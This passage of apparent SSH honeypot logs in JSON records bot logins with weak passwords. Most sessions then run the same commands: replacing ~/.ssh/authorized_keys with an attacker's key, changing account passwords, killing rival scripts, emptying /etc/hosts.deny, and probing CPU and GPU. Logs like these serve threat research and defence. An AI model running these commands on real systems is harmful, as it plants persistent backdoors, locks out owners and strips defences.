'"},{"seq":6,"at":"2026-08-27T13:08:57.452241+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T13:08:57.656642+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T13:08:57.656946+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T13:08:57.862748+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T13:08:57.864262+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T13:08:58.068140+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T13:08:58.068687+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T13:08:58.273087+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T13:08:58.273872+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"tt","password":"tt","method":"password","accepted":true,"tier":"other"}]} {"id":"e5fce962-9da0-4f2e-821c-7189ba7b8c1c","name":"bronzed-vigilant-caribou","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":45808,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":319,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:08:36.969894+00:00","ended_at":"2026-08-27T13:08:38.478631+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T13:08:19.343455+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:08:19.659116+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:08:23.515379+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:08:23.790127+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:08:24.106543+00:00","kind":"input","latency_ms":null,"data":"echo -e \"root123\\ny7fNADxXfKhQ\\ny7fNADxXfKhQ\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:08:24.423436+00:00","kind":"input","latency_ms":null,"data":"echo \"root123\\ny7fNADxXfKhQ\\ny7fNADxXfKhQ\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:08:24.739359+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:08:25.265150+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:08:25.584550+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:08:26.690580+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:08:27.011527+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:08:28.298043+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:08:28.620075+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:08:29.311018+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:08:29.629734+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:08:29.914073+00:00","kind":"output","latency_ms":null,"data":" 13:08:29 up 7 days, 9:58, 0 user, load average: 0.3, 0.3, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:08:30.231403+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:08:30.971165+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:08:31.292109+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:08:31.769177+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:08:32.085509+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:08:32.508483+00:00","kind":"output","latency_ms":null,"data":"top - 13:08:32 up 7 days, 9:58, 0 user, load average: 0.3, 0.3, 0.21\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:08:32.830565+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:08:33.500396+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:08:33.816782+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:08:34.196525+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:08:34.516350+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:08:35.393588+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-27T13:08:35.710617+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:08:36.653998+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:08:36.970715+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:08:38.389512+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"root123","method":"password","accepted":true,"tier":"other"}]} {"id":"eff6efd8-4e18-42b1-a81a-2b11487826dd","name":"wry-sullen-marmot","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":46524,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":734,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:08:34.534956+00:00","ended_at":"2026-08-27T13:08:35.347484+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T13:08:13.957372+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:08:14.687111+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:08:21.263742+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:08:21.266116+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:08:21.993126+00:00","kind":"input","latency_ms":null,"data":"echo \"root:11Osb7kxGwBC\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:08:22.738216+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:08:23.468518+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:08:23.470269+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:08:24.258283+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:08:24.894002+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:08:25.635435+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:08:26.148861+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:08:26.880852+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:08:26.884149+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:08:27.847343+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:08:27.847904+00:00","kind":"output","latency_ms":null,"data":" 13:08:27 up 7 days, 9:58, 0 user, load average: 0.16, 0.15, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:08:28.573321+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:08:28.575102+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:08:29.307706+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:08:29.308520+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:08:30.052123+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:08:30.052670+00:00","kind":"output","latency_ms":null,"data":"top - 13:08:30 up 7 days, 9:58, 0 user, load average: 0.16, 0.15, 0.13\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:08:31.019726+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:08:31.020288+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:08:31.753733+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:08:31.755348+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:08:32.480368+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:08:32.481051+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:08:33.215095+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:08:33.794252+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:08:34.536433+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:08:35.108931+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"P@ssW0rd","method":"password","accepted":true,"tier":"other"}]} {"id":"4a67f42d-5a36-461f-a737-cee38c3e6338","name":"wry-balmy-turnstone","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":45816,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:08:21.560931+00:00","ended_at":"2026-08-27T13:08:23.420447+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"643c3bf1-e0b6-4ccd-ac58-39060cf9beb6","name":"twilight-blithe-merlin","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":45812,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:08:20.342643+00:00","ended_at":"2026-08-27T13:08:20.972240+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"90fc4cff-bfd2-40a6-80dd-9195a13babf8","name":"courtly-misty-wombat","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":46516,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:08:19.035141+00:00","ended_at":"2026-08-27T13:08:21.035011+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a09b2e8d-c74e-41a7-8a98-ba9250fe67bc","name":"rambling-honest-whimbrel","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":46534,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:08:16.402446+00:00","ended_at":"2026-08-27T13:08:17.577003+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a51727bf-109c-4e8a-a6ec-da8fe12737a8","name":"creaky-brave-wombat","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":42762,"username":"ardi","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:08:00.808131+00:00","ended_at":"2026-08-27T13:08:02.709755+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2247,"events":[{"seq":1,"at":"2026-08-27T13:07:43.175487+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:07:43.503229+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:07:47.321417+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:07:47.703184+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:07:48.032624+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ardi\\nhhsvpgQR1ecV\\nhhsvpgQR1ecV\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:07:48.359957+00:00","kind":"input","latency_ms":null,"data":"echo \"ardi\\nhhsvpgQR1ecV\\nhhsvpgQR1ecV\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:07:48.687568+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:07:49.182141+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:07:49.510229+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:07:50.495740+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:07:50.826896+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:07:52.028812+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:07:52.358810+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:07:53.010406+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:07:53.338931+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:07:54.042393+00:00","kind":"output","latency_ms":null,"data":" 13:07:54 up 7 days, 9:58, 0 user, load average: 0.21, 0.26, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:07:54.369785+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:07:54.821827+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:07:55.149805+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:07:55.708970+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:07:56.038303+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:07:56.363403+00:00","kind":"output","latency_ms":null,"data":"top - 13:07:56 up 7 days, 9:58, 0 user, load average: 0.21, 0.26, 0.21\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:07:56.703202+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:07:57.221512+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:07:57.555278+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:07:57.946135+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:07:58.262124+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:07:58.843682+00:00","kind":"output","latency_ms":null,"data":"ardi"},{"seq":29,"at":"2026-08-27T13:07:59.170522+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:08:00.472717+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:08:00.808771+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:08:02.608720+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ardi","password":"ardi","method":"password","accepted":true,"tier":"other"}]} {"id":"df41709d-64d3-4562-9836-4ca6ac287ced","name":"weathered-brisk-loris","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":42784,"username":"ardi","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:07:45.770102+00:00","ended_at":"2026-08-27T13:07:47.223233+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ardi","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"496678f4-e522-4fdd-80b6-5a8aba4c82fc","name":"proud-placid-finch","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":42778,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:07:44.289331+00:00","ended_at":"2026-08-27T13:07:45.115360+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"96a4237d-aebe-432d-8513-9d616ad5acf7","name":"silent-western-kea","protocol":"ssh","channel_kind":null,"src_ip":"23.175.50.52","src_port":55953,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:06:47.225008+00:00","ended_at":"2026-08-27T13:07:21.089708+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"e2827558-c0bf-403f-887a-ceed52b5ac6e","name":"ashen-autumn-nuthatch","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":52626,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:06:37.211124+00:00","ended_at":"2026-08-27T13:06:39.140279+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T13:06:19.207082+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:06:19.503202+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:06:23.072555+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:06:23.346762+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:06:23.645565+00:00","kind":"input","latency_ms":null,"data":"echo \"root:pq79u7BaTzb8\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:06:23.939319+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:06:24.234603+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:06:25.092734+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:06:25.389552+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:06:26.378418+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:06:26.676570+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:06:27.884305+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:06:28.181187+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:06:28.484416+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab 